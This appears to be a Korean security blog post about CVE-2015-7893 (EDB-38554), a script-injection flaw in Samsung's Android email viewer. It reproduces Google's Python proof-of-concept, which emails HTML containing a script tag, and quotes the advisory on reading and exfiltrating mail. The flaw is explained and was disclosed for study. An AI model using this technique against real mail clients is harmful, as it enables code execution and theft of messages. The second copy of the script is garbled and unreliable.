[EXPLOIT] 삼성(Samsung) SecEmailUI.apk 취약점(Vulnerability SecEmailUI.apk on Android) #edb-38554 / CVE-2015-7893

EDB를 보던 중 Samsung 관련 취약점이 있어 보게 되었는데, 굉장히 심플한 Android Exploit 이 있었습니다.

Google Security Team에서 올린 것 같고, 10/28일자로 EDB에 업데이트 되었네요.

EDB-ID: 38554 CVE: 2015-7893 OSVDB-ID: N/A Author: Google Security Research Published: 2015-10-28


#!/usr/bin/env python

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# Change the details here appropriate to your configuration
me = "attacker@gmail.com"
me_password = "THIS IS NOT REAL"
you = "project.zero.test@gmail.com"
smtp_server = "smtp.gmail.com"

msg = MIMEMultipart('alternative')
msg['Subject'] = "Hello There!"
msg['From'] = me
msg['To'] = you

text = "Hello There!"
html = """\
<html>
  <head></head>
  <body>
   <p>
       <script>try { document.write(document.location); } catch(e) { document.write(e.message); }</script>
    </p>
  </body>
</html>
"""

part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')

msg.attach(part1)
msg.attach(part2)

s = smtplib.SMTP_SSL(smtp_server)
s.login(me, me_password)
s.sendmail(me, you, msg.as_string())
s.quit()

짧고 간단하죠.. 일단 SecEmailUI.apk에 대해 간단하게 확인해보면, 삼성의 메일 클라이언트의 이메일 뷰어에서 데이터 렌더링 전 필터링에 대해 처리가 모자란 부분이 있어 공격자가 의도한 Javascript 실행이 가능합니다.

공격코드(간단하게 보면 XSS정도가 될 수 있을듯..)가 포함된 메일을 삼성 메일 클라이언트로 읽을 때 스크립트 구문이 실행될 수 있습니다.

코드는 Python으로 코딩되었고, SMTP를 사용하는 모듈을 Import하여 메일을 전송하는 코드입니다. 코드 내 html 변수에 실행될 구문을 저장하고, MIMEText 메소드를 이용하여, Type을 지정하고 msg 객체에 데이터를 씁니다.

html = “””\

”””

이렇게 html 코드가 포함된 메일을 받은 메일 클라이언트가 렌더링하는 과정에서 필터링 부족(없으려나 설마..)으로 동작하게 되는 것 같습니다.

실제 테스트를 해보면 좋긴한데, 시간도 늦고 Samsung 단말기도 없어 바로는 어렵겠네요. 시간이 된다면 한번 테스트해봐도 좋을 것 같네요.

EDB-38554 Full Code https://www.exploit-db.com/exploits/38554/ The default Samsung email client’s email viewer and composer (implemented in SecEmailUI.apk) doesn’t sanitize HTML email content for scripts before rendering the data inside a WebView. This allows an attacker to execute arbitrary JavaScript when a user views a HTML email which contains HTML script tags or other events.

At the very least the JavaScript could exploit the attack surface provided within the WebView control. It might also be possible to access local file content or emails depending on the full configuration of the WebView, although this hasn’t been tested fully.

This can also be exploited locally with the com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND intent which will include attacker controlled HTML in the sending email. If the final message was viewed it would be possible for the script to extract the original message from the Document object and potentially post that information to another server.

Attached is a simple SMTP client in Python to send an HTML message with script contents to the device. The “me”, “you”, “me_password” and “smtp_server” variables need to be changed to ones appropriate for the sending email account and the receiving account on the phone. When the resulting email is viewed it should display the URL of the page which is of the form email://M/N where M is the email account ID and N is the message ID which proves that the script code executed.

#!/usr/bin/env python

import smtplib

from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText

Change the details here appropriate to your configuration

me = “attacker@gmail.com” me_password = “THIS IS NOT REAL” you = “project.zero.test@gmail.com” smtp_server = “smtp.gmail.com”

msg = MIMEMultipart(‘alternative’) msg[‘Subject’] = “Hello There!” msg[‘From’] = me msg[‘To’] = you

text = “Hello There!” html = “””\

”””

part1 = MIMEText(text, ‘plain’) part2 = MIMEText(html, ‘html’)

msg.attach(part1) msg.attach(part2)

s = smtplib.SMTP_SSL(smtp_server) s.login(me, me_password) s.sendmaail(me, you, msg.as_string()) s.quit()